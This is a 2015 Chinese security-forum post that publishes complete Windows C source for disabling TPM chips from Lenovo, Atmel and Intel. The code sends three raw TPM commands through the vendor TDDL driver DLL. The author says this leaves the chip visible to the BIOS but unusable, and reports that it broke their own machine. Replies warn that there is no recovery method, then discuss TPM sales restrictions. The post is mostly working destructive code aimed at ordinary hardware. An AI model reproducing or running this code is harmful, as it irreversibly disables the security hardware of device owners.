首页
社区
课程
招聘
[原创]如何使 Lenovo / Atmel / Intel 的 TPM 芯片挂掉
2015-6-11 20:24 5952

[原创]如何使 Lenovo / Atmel / Intel 的 TPM 芯片挂掉

2015-6-11 20:24
5952
注意:本程序会使 TPM 芯片虽然能被 bios 正确认识,却会是 TPM 芯片无法使用,
如 IBM client security 等软件无法工作,破坏性较大,请测试使用,我的机器已经挂掉了

贴出如下源码:

#include <windows.h>

UCHAR cmd1[12] = {
        0x0,
        0xC1,
        0x0,
        0x0,
        0x0,
        0xC,
        0x40,
        0x0,
        0x0,
        0xA,
        0x0,
        0x58
};

UCHAR cmd2[10] =
{
        0x0,
        0xC1,
        0x0,
        0x0,
        0x0,
        0xA,
        0x0,
        0x0,
        0x0,
        0x5D
};

UCHAR cmd3[10] =
{
        0x0,
        0xC1,
        0x0,
        0x0,
        0x0,
        0xA,
        0x0,
        0x0,
        0x0,
        0x5B
};

typedef UINT32 (__cdecl *PFN_TDDL_Open)(void);

//close a open connection to the TPM device driver
typedef UINT32 (__cdecl *PFN_TDDL_Close)(void);

typedef UINT32 (__cdecl *PFN_TDDL_TransmitData)(
                                                                                                         BYTE         *pTransmitBuf,
                                                                                                         UINT32        TransmitBufLen,
                                                                                                         BYTE         *pReceiveBuf,
                                                                                                         UINT32       *puntReceiveBufLen);

// Vista 以后需要 uac 权限

int main(int argc,char* argv[])
{

        PFN_TDDL_Open pfn_Open;
        PFN_TDDL_Close pfn_Close;
        PFN_TDDL_TransmitData        pfn_TransmitData;
        UCHAR  Result[1024];
        UINT32 ResultLen;

        // Lenovo / Ateml / Intel 芯片
        HMODULE hTddl = LoadLibrary("TPMDDL.dll");
        if(!hTddl)
        {
                hTddl = LoadLibrary("TDDL.dll");
        }

        if(!hTddl) return -1; // 没有的 tpm 系统

        pfn_Open = (PFN_TDDL_Open)GetProcAddress(hTddl,"TDDL_Open");
        pfn_Close =(PFN_TDDL_Close)GetProcAddress(hTddl,"TDDL_Close");
        pfn_TransmitData =(PFN_TDDL_TransmitData)GetProcAddress(hTddl,"TDDL_TransmitData");
       
        Result[0] = 0x0;
        Result[1] = 0xC4;

        if(pfn_Open() == 0)
        {
                ResultLen = 1024;

                pfn_TransmitData((PUCHAR)cmd1,
                        12,
                        (PUCHAR)Result,
                        &ResultLen);

                pfn_TransmitData((PUCHAR)cmd2,
                        10,
                        (PUCHAR)Result,
                        &ResultLen);

                pfn_TransmitData((PUCHAR)cmd3,
                        10,
                        (PUCHAR)Result,
                        &ResultLen);

                pfn_Close();
        }

        return 0;
}

向 蛋疼的  TPM 致敬!!!

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
打赏
分享
最新回复 (3)
雪    币: 315
活跃值: (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
antime 2015-6-11 20:39
2
0
注意,本程序尚未有芯片还原方法,请勿随便使用!除非你确信你不想用你机器中的 TPM 功能
雪    币: 10448
活跃值: (2423)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tomtory 2015-6-11 21:08
3
0
N..B! TPM芯片国内太少 不让卖
雪    币: 315
活跃值: (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
antime 2015-6-12 09:51
4
0
我好奇的是,为什么不让卖?因为别人有初始密钥,可以随意解密,而我们蛋疼,解不开?
游客
登录 | 注册 方可回帖
返回